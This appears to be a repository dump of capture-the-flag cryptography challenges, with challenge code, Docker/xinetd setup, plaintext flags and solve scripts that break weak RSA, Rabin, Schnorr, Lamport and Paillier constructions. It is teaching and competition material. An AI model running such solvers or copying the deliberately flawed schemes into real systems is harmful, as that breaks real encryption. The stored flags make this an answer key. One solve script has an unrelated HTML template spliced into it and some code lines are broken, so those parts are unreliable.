int.from_bytes(f.read().strip(), 'big') 8 | assert tau < n 9 | 10 | while True: 11 | d = int(input('gimme the power: ')) 12 | assert 0 < d < n 13 | B = Scalar.from_bytes(pow(tau, d, n).to_bytes(32, 'big')).get_g1() 14 | print(B) 15 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/blahaj.sage: -------------------------------------------------------------------------------- 1 | p = random_prime(2**1024) 2 | q = random_prime(2**1024) 3 | a = randint(0, 2**1024) 4 | b = randint(0, 2**1024) 5 | 6 | def read_flag(file='flag.txt'): 7 | with open(file, 'rb') as fin: 8 | flag = fin.read() 9 | return flag 10 | 11 | def pad_flag(flag, bits=1024): 12 | pad = os.urandom(bits//8 - len(flag)) 13 | return int.from_bytes(flag + pad, "big") 14 | 15 | def generate_keys(p, q): 16 | n = p * q 17 | e = 0x10001 18 | return n, e 19 | 20 | def encrypt_message(m, e, n): 21 | return pow(m, e, n) 22 | 23 | flag = read_flag() 24 | m = pad_flag(flag) 25 | 26 | n, e = generate_keys(p, q) 27 | assert m < n 28 | 29 | c = encrypt_message(m, e, n) 30 | 31 | print(c) 32 | print(n) 33 | print(p + b * q) 34 | print(a * p + q) 35 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/description.md: -------------------------------------------------------------------------------- 1 | Soft toy, shark, 39 ¼ " 2 | 3 | [blahaj.sage](blahaj.sage) [blahaj_out.txt](blahaj_out.txt) 4 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/flag.txt: -------------------------------------------------------------------------------- 1 | actf{i_l0ve_kr4m1g_761cf409656ad75d} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/blahaj/solve.sage: -------------------------------------------------------------------------------- 1 | with open('blahaj_out.txt') as f: 2 | c, n, x, y = map(ZZ, f.readlines()) 3 | 4 | e = 65537 5 | 6 | R = Integers(n) 7 | 8 | P. = PolynomialRing(Integers(n)) 9 | 10 | f1 = a*p + q 11 | 12 | f2 = p + b*q 13 | 14 | f3 = p*q 15 | 16 | I = Ideal([f1 - x, f2 - y, f3 - n]) 17 | B = I.groebner_basis() 18 | 19 | print(B) 20 | 21 | g = B[-1] 22 | 23 | z = ZZ(g.coefficient({q: 1})) 24 | assert g.constant_coefficient() == R(-y) 25 | 26 | _, (z1, _), (z2, _) = list(g) 27 | z1 = ZZ(z1) 28 | z2 = ZZ(z2) 29 | 30 | S = 2^1024 31 | 32 | for p_upper_bits in range(16): 33 | p_upper = p_upper_bits << 1020 34 | for q_upper_bits in range(16): 35 | q_upper = q_upper_bits << 1020 36 | M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]]) 37 | B = M.LLL() 38 | for b in B: 39 | if b[-1] == S: 40 | if b[1] < 0: 41 | b *= -1 42 | 43 | p_guess = b[1] + p_upper 44 | q_guess = b[2] + q_upper 45 | if p_guess * q_guess == n: 46 | d = pow(e, -1, (p_guess - 1)*(q_guess - 1)) 47 | print(int(pow(c, d, n)).to_bytes(1024//8, 'big')) 48 | exit() 49 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/description.md: -------------------------------------------------------------------------------- 1 | I heard that the [Rabin cryptosystem](https://en.wikipedia.org/wiki/Rabin_cryptosystem) has four decryptions per ciphertext. So why not choose one randomly? 2 | 3 | `nc challs.actf.co 31300` 4 | 5 | [random-rabin.py](random-rabin.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/flag.txt: -------------------------------------------------------------------------------- 1 | actf{f4ncy_squ4re_r00ts_53a370c33f192973} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/random_rabin.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | from random import SystemRandom 4 | from Crypto.Util.number import getPrime 5 | from libnum import xgcd 6 | 7 | random = SystemRandom() 8 | 9 | def primegen(): 10 | while True: 11 | p = getPrime(512) 12 | if p % 4 == 3: 13 | return p 14 | 15 | def keygen(): 16 | p = primegen() 17 | q = primegen() 18 | n = p * q 19 | return n, (n, p, q) 20 | 21 | def encrypt(pk, m): 22 | n = pk 23 | return pow(m, 2, n) 24 | 25 | def decrypt(sk, c): 26 | n, p, q = sk 27 | yp, yq, _ = xgcd(p, q) 28 | mp = pow(c, (p + 1)//4, p) 29 | mq = pow(c, (q + 1)//4, q) 30 | s = yp * p * mq % n 31 | t = yq * q * mp % n 32 | rs = [(s + t) % n, (-s - t) % n, (s - t) % n, (-s + t) % n] 33 | r = random.choice(rs) 34 | return r 35 | 36 | def game(): 37 | pk, sk = keygen() 38 | print(f'pubkey: {pk}') 39 | secret = random.randbytes(16) 40 | m = int.from_bytes(secret, 'big') 41 | print(f'plaintext: {decrypt(sk, encrypt(pk, m))}') 42 | guess = bytes.fromhex(input('gimme the secret: ')) 43 | return guess == secret 44 | 45 | if __name__ == '__main__': 46 | for _ in range(64): 47 | success = game() 48 | if not success: 49 | exit() 50 | 51 | with open('flag.txt') as f: 52 | flag = f.read().strip() 53 | print(flag) 54 | -------------------------------------------------------------------------------- /angstromctf-2024/random-rabin/solve.sage: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | from tqdm import tqdm 3 | 4 | io = process(['python', 'random-rabin.py']) 5 | # io = remote('challs.actf.co', 31300) 6 | 7 | for _ in tqdm(range(64)): 8 | io.recvuntil(b'pubkey: ') 9 | n = int(io.recvline()) 10 | 11 | io.recvuntil(b'plaintext: ') 12 | m = int(io.recvline()) 13 | 14 | if m.bit_length() <= 128: 15 | secret = m 16 | elif (n - m).bit_length() <= 128: 17 | secret = n - m 18 | else: 19 | P.Secret Sheep Society Portal
9 |10 | __ _ 11 | .-.' `; `-._ __ _ 12 | (_, .-:' `; `-._ 13 | ,'o"( (_, ) 14 | (__,-' ,'o"( ) 15 | ( (__,-' ) 16 | `-'._.--._( ) 17 | ||| |||`-'._.--._.-' 18 | ||| ||| 19 |20 | {% if session %} 21 |22 | Welcome, {{ session['handle'] }}. 23 | {% if session['admin'] %} 24 | The flag is {{ flag }}. 25 | {% else %} 26 | Unfortunately, only sheep in the highest echelons have access to the flag. 27 | {% endif %} 28 |
29 |30 | 33 |34 | {% else %} 35 | 39 | {% endif %} 40 |= Integers(n)[] 20 | secret = int((m + x).small_roots(beta=0.5)[0]) 21 | if secret.bit_length() > 128: 22 | secret = n - secret 23 | 24 | io.sendlineafter(b'secret: ', secret.to_bytes(16, 'big').hex().encode()) 25 | 26 | io.interactive() 27 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/description.md: -------------------------------------------------------------------------------- 1 | Simon says: encrypt three times! 2 | 3 | [simon_says.py](simon_says.py) [simon_says_out.txt](simon_says_out.txt) 4 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/flag.txt: -------------------------------------------------------------------------------- 1 | actf{s1m0n_4nd_sp3ck_814e05459fd2856d} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/simon_says.py: -------------------------------------------------------------------------------- 1 | class Simon: 2 | 3 | n = 64 4 | m = 4 5 | z = 0b01100111000011010100100010111110110011100001101010010001011111 6 | 7 | def __init__(self, k, T): 8 | self.T = T 9 | self.k = self.schedule(k) 10 | 11 | def S(self, x, j): 12 | j = j % self.n 13 | return ((x << j) | (x >> (self.n - j))) & 0xffffffffffffffff 14 | 15 | def schedule(self, k): 16 | k = k[:] 17 | for i in range(self.m, self.T): 18 | tmp = self.S(k[i - 1], -3) 19 | if self.m == 4: 20 | tmp ^= k[i - 3] 21 | tmp ^= self.S(tmp, -1) 22 | zi = (self.z >> ((i - self.m) % 62)) & 1 23 | k.append(k[i - self.m] ^ tmp ^ zi ^ 0xfffffffffffffffc) 24 | return k 25 | 26 | def encrypt(self, x, y): 27 | for i in range(self.T): 28 | tmp = x 29 | x = y ^ (self.S(x, 1) & self.S(x, 8)) ^ self.S(x, 2) ^ self.k[i] 30 | y = tmp 31 | return x, y 32 | 33 | def encrypt(simon, pt): 34 | ct = bytes() 35 | for i in range(0, len(pt), 16): 36 | x = int.from_bytes(pt[i:i+8], 'big') 37 | y = int.from_bytes(pt[i+8:i+16], 'big') 38 | x, y = simon.encrypt(x, y) 39 | ct += x.to_bytes(8, 'big') 40 | ct += y.to_bytes(8, 'big') 41 | return ct 42 | 43 | if __name__ == '__main__': 44 | from random import SystemRandom 45 | 46 | random = SystemRandom() 47 | 48 | with open('flag.txt') as f: 49 | flag = f.read().strip().encode() 50 | 51 | key = [random.getrandbits(64) for _ in range(4)] 52 | 53 | simon68 = Simon(key, 68) # secure 54 | simon69 = Simon(key, 69) # super secure 55 | simon72 = Simon(key, 72) # ultra secure 56 | 57 | pt = flag + bytes(-len(flag) % 16) 58 | 59 | print(encrypt(simon68, pt).hex()) 60 | print(encrypt(simon69, pt).hex()) 61 | print(encrypt(simon72, pt).hex()) 62 | -------------------------------------------------------------------------------- /angstromctf-2024/simon-says/simon_says_out.txt: -------------------------------------------------------------------------------- 1 | fd76dbfc85e68362be3231c4a07fedcd90bf361ac3943de5a86b4e57d0fdcf5a12e56301ac4867392dca08a972a10431 2 | 96dbd7e58120984bfd76dbfc85e68362645aa36f6ec1238490bf361ac3943de5ece6b9fdbfc4ea0f12e56301ac486739 3 | 429338f593432bb30002f715f77e7bdf2ce179c9be5c8659233df19bed12382e27da9c498275da7bcb8dec1a8d003e19 4 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/description.md: -------------------------------------------------------------------------------- 1 | I implemented a simple threshold signature scheme for [Schnorr signatures](https://en.wikipedia.org/wiki/Schnorr_signature). 2 | 3 | `nc challs.actf.co 31301` 4 | 5 | [tss1.py](tss1.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/flag.txt: -------------------------------------------------------------------------------- 1 | actf{r0gu3_4ggr3g4t1on_632d50edb72d34d3} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/key.txt: -------------------------------------------------------------------------------- 1 | 104979531365667953212983483440577109510314798383332160484727450212842535305585 2 | 97970492195138110953420102876686122100477169305437060676228274017075558273137 3 | 112823101683484730504766645086541214721303913038574749028852205516332709468795 4 | -------------------------------------------------------------------------------- /angstromctf-2024/tss1/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import process, remote 2 | import fastecdsa.keys 3 | import fastecdsa.point 4 | 5 | from tss1 import TARGET, hash_transcript, curve 6 | 7 | io = process(['python', 'tss1.py']) 8 | # io = remote('challs.actf.co', 31301) 9 | 10 | io.recvuntil(b'key: ') 11 | xy = eval(io.recvline()) 12 | pk1 = fastecdsa.point.Point(*xy, curve=curve) 13 | 14 | ask, apk = fastecdsa.keys.gen_keypair(curve) 15 | pk2 = apk - pk1 16 | 17 | io.sendlineafter(b'x: ', f'{pk2.x}'.encode()) 18 | io.sendlineafter(b'y: ', f'{pk2.y}'.encode()) 19 | 20 | io.sendlineafter(b'message: ', b'foo'.hex()) 21 | 22 | _, R2 = fastecdsa.keys.gen_keypair(curve) 23 | io.sendlineafter(b'x: ', f'{R2.x}'.encode()) 24 | io.sendlineafter(b'y: ', f'{R2.y}'.encode()) 25 | 26 | k, R = fastecdsa.keys.gen_keypair(curve) 27 | c = hash_transcript(apk, R, TARGET) 28 | s = (k - c * ask) % curve.q 29 | 30 | io.sendlineafter(b'c: ', f'{c}'.encode()) 31 | io.sendlineafter(b's: ', f'{s}'.encode()) 32 | 33 | io.interactive() 34 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/description.md: -------------------------------------------------------------------------------- 1 | This time, no more cheating. 2 | 3 | `nc challs.actf.co 31302` 4 | 5 | [tss2.py](tss2.py) 6 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/flag.txt: -------------------------------------------------------------------------------- 1 | actf{th1nk_0uts1de_th3_c0nn3ct1on_d953f18e8c0870e8} 2 | -------------------------------------------------------------------------------- /angstromctf-2024/tss2/key.txt: -------------------------------------------------------------------------------- 1 | 32188420234866181468236683409404055807302925827456181383950417609240361887445 2 | 30323417725848074946108619400187211070736170133084766555553791467912510000745 3 | 79006122486802690292138862145171795745353575582115120393769549454216944831660 4 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY bank_of_lamport.py lamport.py local.py pk sk /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/bank_of_lamport.py: -------------------------------------------------------------------------------- 1 | from lamport import * 2 | 3 | from local import flag 4 | 5 | options = '''\ 6 | [D]eposit money 7 | [E]xecute receipt 8 | [L]eave''' 9 | 10 | pk = unpack('pk') 11 | sk = unpack('sk') 12 | 13 | print('$$$ Bank of Lamport $$$') 14 | 15 | while True: 16 | print(options) 17 | choice = input('Choice: ') 18 | if choice == 'D': 19 | try: 20 | amount = int(input('Amount to deposit: ')) 21 | assert amount > 0 22 | except: 23 | print('Amount must be a positive integer.') 24 | continue 25 | m = 'Deposit {}'.format(amount).encode() 26 | s = sign(m, sk) 27 | receipt = '{}_{}'.format(m.hex(), b''.join(s).hex()) 28 | print(receipt) 29 | elif choice == 'E': 30 | receipt = input('Receipt: ') 31 | m, s = receipt.split('_') 32 | m = bytes.fromhex(m) 33 | s = [bytes.fromhex(s[i:i+64]) for i in range(0, len(s), 64)] 34 | if not verify(m, s, pk): 35 | print('Invalid receipt.') 36 | continue 37 | if m.startswith(b'Deposit '): 38 | print('Successful deposit.') 39 | elif m == b'Give flag': 40 | print(flag) 41 | else: 42 | print('Thank you for patronage.') 43 | break 44 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/lamport.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | from Crypto.Random import get_random_bytes 3 | 4 | def pack(fn, k): 5 | with open(fn, 'w') as f: 6 | f.write('\n'.join([' '.join([x.hex() for x in y]) for y in k])) 7 | 8 | def unpack(fn): 9 | with open(fn, 'r') as f: 10 | return [[bytes.fromhex(x.strip()) for x in y.split(' ')] for y in f.readlines()] 11 | 12 | def generate(): 13 | sk = [[get_random_bytes(32) for _ in range(2)] for _ in range(256)] 14 | pk = [[SHA3_256.new().update(x).digest() for x in y] for y in sk] 15 | return pk, sk 16 | 17 | def sign(m, sk): 18 | h = int.from_bytes(SHA3_256.new().update(m).digest(), 'big') 19 | s = [] 20 | for i in range(256): 21 | b = (h >> i) & 1 22 | s.append(sk[i][b]) 23 | return s 24 | 25 | def verify(m, s, pk): 26 | h = int.from_bytes(SHA3_256.new().update(m).digest(), 'big') 27 | for i in range(256): 28 | b = (h >> i) & 1 29 | if SHA3_256.new().update(s[i]).digest() != pk[i][b]: 30 | return False 31 | return True 32 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/local.py: -------------------------------------------------------------------------------- 1 | flag = 'flag{single_use_post_quantum_bank}' 2 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 bank_of_lamport.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/setup.py: -------------------------------------------------------------------------------- 1 | from lamport import * 2 | 3 | pk, sk = generate() 4 | pack('pk', pk) 5 | pack('sk', sk) 6 | -------------------------------------------------------------------------------- /cpvctf/bank-of-lamport/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY bit_length_oracle.py paillier.py sk /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/bit_length_oracle.py: -------------------------------------------------------------------------------- 1 | from paillier import * 2 | 3 | sk = unpack('sk') 4 | 5 | print('We specialize in giving useless metadata about encrypted messages!') 6 | c = int(input('Encrypted message: ')) 7 | m = decrypt(c, sk) 8 | length = m.bit_length() 9 | print('The message is {} bits long'.format(length)) 10 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/flag.enc: -------------------------------------------------------------------------------- 1 | 127240818675345037440790425091910508052719457357141293716099296154307294812737603935632642764374345828769757275779770164797009301448857902651411950697339807075018133860600415974423905123881584978639136031579107827892308047795339580048223605845307547440976331054971593396433127693694683124410054642518629941805350091443067068099423906470511269567449459101331723963245321017236069579235266068370589168691457042880999304541807808850570656591271452042015279177268653003317287271496282762469963210890702790851810447127794318682579932738659537045071240717695944885442360549052541184172447543321597505727318721524057377902801076439296140261508446942471611318113936226692240204844993448834302418828979187148436098400226800472740640084398143965802811601931021909994679266421500853525043803436625980544441931684800065301559661258738211948185931578168997647409965236153944923080520057761701260863478588067522100525224111721690801208958794595421374476683444189813490052798168129352598078396682476513392342814298672729918628643625929535863404822776494138143961093854573737055440699559390111885574215804048393043911099792186623399617001044984373237881163212549475812493444052664677121123499429608887703100713063410081647567750820541854018921787145 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{oh_gosh_its_full_fledged_decryption}' 2 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/paillier.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import GCD, getPrime, getRandomRange, inverse 2 | 3 | def pack(fn, k): 4 | with open(fn, 'w') as f: 5 | f.write('\n'.join([str(x) for x in k])) 6 | 7 | def unpack(fn): 8 | with open(fn, 'r') as f: 9 | return tuple([int(x) for x in f.readlines()]) 10 | 11 | def generate(): 12 | p = getPrime(1024) 13 | q = getPrime(1024) 14 | n = p * q 15 | g = n + 1 16 | phi = (p-1) * (q-1) 17 | mu = inverse(phi, n) 18 | return (n, g), (n, phi, mu) 19 | 20 | def encrypt(m, pk): 21 | n, g = pk 22 | mod = n * n 23 | while True: 24 | r = getRandomRange(0, n) 25 | if GCD(r, n) == 1: 26 | break 27 | return pow(g, m, mod) * pow(r, n, mod) % mod 28 | 29 | def decrypt(c, sk): 30 | n, phi, mu = sk 31 | mod = n * n 32 | return ((pow(c, phi, mod)-1) // n) * mu % n 33 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/pk: -------------------------------------------------------------------------------- 1 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899027 2 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899028 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 bit_length_oracle.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/setup.py: -------------------------------------------------------------------------------- 1 | from paillier import * 2 | 3 | from local import flag 4 | 5 | pk, sk = generate() 6 | pack('pk', pk) 7 | pack('sk', sk) 8 | 9 | m = int.from_bytes(flag, 'big') 10 | c = encrypt(m, pk) 11 | with open('flag.enc', 'w') as f: 12 | f.write(str(c)) 13 | -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/sk: -------------------------------------------------------------------------------- 1 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083490037460134702778668384975337697465955996499297489874231436921951810755939435006964218239748360278763323995337377195358764668438317252297664672614040705192025939252726471173661105481189160832505899507838544864829224272893785230514385387157064712597713920767841002563416770074002404566846507008891704006095899027 2 | 19107423954007342428051427339944094283344652737125341760839673715161467671125863865152240716833412168406891663318152186367553262047272774947741064414612084223757405119483977338888222355907854981670810599798728192091744932473410215330139742157195786732851740948964287957170901703458156191978215344232911083489758441608943318036778223488211044118834231584440577235241219755405373392824493562637260274679488715129455226072556974630044108407855574377245613157386933663590893470233032212118837965431637443637606585833121119213260597164800737287064813190281723360416213302155060561722251521461698283845838414160938626560800 3 | 10637202389867513023685663712616438387608370798402190186805292762286651274014194003443607350730790442482961596028746087894516171654582595961399217911283304973331404140878855696352532192855094456652736662499754140895784718693183341408368114336649940022488991470472822877449583134955556064935111777826883044715176986965965983018165359759167907208220984069201766571267201000114116704159951213084241642857645289001635639123811294266884479360300977808307819145502582638568971061949407597518602033987437156212737938114132239633161075645995852022648194301755065666359152380709978564896533408134414855828695556180823685555694 -------------------------------------------------------------------------------- /cpvctf/bit-length-oracle/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY perfect_secrecy.py local.py /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{biased_pads_mean_a_smaller_keyspace}' 2 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/perfect_secrecy.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from local import flag 4 | 5 | print('One-time pads have perfect secrecy!') 6 | for char in flag: 7 | key = secrets.randbelow(0xff) 8 | print('{:02x}'.format(char ^ key), end='') 9 | print() 10 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 perfect_secrecy.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/solve.py: -------------------------------------------------------------------------------- 1 | import secrets 2 | 3 | from local import flag 4 | 5 | def query(): 6 | enc = [] 7 | for char in flag: 8 | key = secrets.randbelow(0xff) 9 | enc.append(char ^ key) 10 | return enc 11 | 12 | table = [[False for _ in range(256)] for _ in query()] 13 | for _ in range(3000): 14 | for i, char in enumerate(query()): 15 | table[i][char] = True 16 | 17 | flag = bytes([row.index(False) ^ 0xff for row in table]).decode() 18 | print(flag) 19 | -------------------------------------------------------------------------------- /cpvctf/perfect-secrecy/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/prime-database/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y xinetd python3 python3-pip 5 | RUN pip3 install pycryptodome 6 | 7 | COPY prime_database.py local.py primes.txt /ctf/ 8 | WORKDIR /ctf/ 9 | 10 | COPY xinetd /etc/xinetd.d/ctf 11 | COPY run.sh . 12 | RUN chmod +x run.sh 13 | 14 | EXPOSE 8000 15 | 16 | CMD ["/bin/sh", "-c", "service xinetd restart && sleep infinity"] 17 | -------------------------------------------------------------------------------- /cpvctf/prime-database/local.py: -------------------------------------------------------------------------------- 1 | flag = b'flag{my_prime_database_is_still_too_small}' 2 | -------------------------------------------------------------------------------- /cpvctf/prime-database/prime_database.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import PKCS1_OAEP 2 | from Crypto.IO import PEM 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Random import random 5 | 6 | from local import flag 7 | 8 | with open('primes.txt') as f: 9 | primes = [int(p) for p in f.readlines()] 10 | 11 | print('{} primes in database.'.format(len(primes))) 12 | 13 | p, q = random.sample(primes, 2) 14 | n = p * q 15 | e = 65537 16 | key = RSA.construct((n, e)) 17 | 18 | cipher = PKCS1_OAEP.new(key) 19 | enc = cipher.encrypt(flag) 20 | 21 | print(key.exportKey().decode()) 22 | print(PEM.encode(enc, 'FLAG')) 23 | -------------------------------------------------------------------------------- /cpvctf/prime-database/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cd /ctf/ 3 | python3 prime_database.py 2> /dev/null 4 | -------------------------------------------------------------------------------- /cpvctf/prime-database/setup.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import getPrime 2 | 3 | with open('primes.txt', 'w') as f: 4 | for _ in range(128): 5 | p = getPrime(1024) 6 | f.write('{}\n'.format(p)) 7 | -------------------------------------------------------------------------------- /cpvctf/prime-database/solve.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import PKCS1_OAEP 2 | from Crypto.IO import PEM 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Random import random 5 | from Crypto.Util.number import GCD, inverse 6 | 7 | from local import flag 8 | 9 | with open('primes.txt') as f: 10 | primes = [int(p) for p in f.readlines()] 11 | 12 | def query(): 13 | p, q = random.sample(primes, 2) 14 | n = p * q 15 | e = 65537 16 | key = RSA.construct((n, e)) 17 | cipher = PKCS1_OAEP.new(key) 18 | enc = cipher.encrypt(flag) 19 | return key, enc 20 | 21 | def collide(): 22 | log = [] 23 | while True: 24 | key, enc = query() 25 | for n in log: 26 | p = GCD(key.n, n) 27 | if p != 1: 28 | q = key.n // p 29 | return p, q, enc 30 | log.append(key.n) 31 | 32 | p, q, enc = collide() 33 | n = p * q 34 | phi = (p-1) * (q-1) 35 | e = 65537 36 | d = inverse(e, phi) 37 | key = RSA.construct((n, e, d)) 38 | 39 | cipher = PKCS1_OAEP.new(key) 40 | flag = cipher.decrypt(enc).decode() 41 | print(flag) 42 | -------------------------------------------------------------------------------- /cpvctf/prime-database/xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | per_source = 10 8 | rlimit_cpu = 20 9 | rlimit_as = 512M 10 | type = UNLISTED 11 | user = root 12 | bind = 0.0.0.0 13 | port = 8000 14 | server = /ctf/run.sh 15 | } 16 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/flag.png -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/flag.png.enc -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/known: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/cpvctf/quadratic-cg/known -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/qcg.txt: -------------------------------------------------------------------------------- 1 | 1272965995 2 | 170047439 3 | 2556485629 4 | 3939531601 5 | -------------------------------------------------------------------------------- /cpvctf/quadratic-cg/quadratic_cg.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | pack = lambda x: struct.pack('>I', x) 4 | unpack = lambda x: struct.unpack('>I', x)[0] 5 | 6 | def qcg(x, a, b, c): 7 | mask = (1 << 32) - 1 8 | while True: 9 | x = (a*x*x + b*x + c) & mask 10 | yield x 11 | 12 | with open('qcg.txt') as f: 13 | x = int(f.readline()) 14 | a = int(f.readline()) 15 | b = int(f.readline()) 16 | c = int(f.readline()) 17 | stream = qcg(x, a, b, c) 18 | 19 | dec = open('flag.png', 'rb').read() 20 | dec += bytes(-len(dec) % 4) 21 | 22 | enc = bytes() 23 | for i in range(0, len(dec), 4): 24 | chunk = 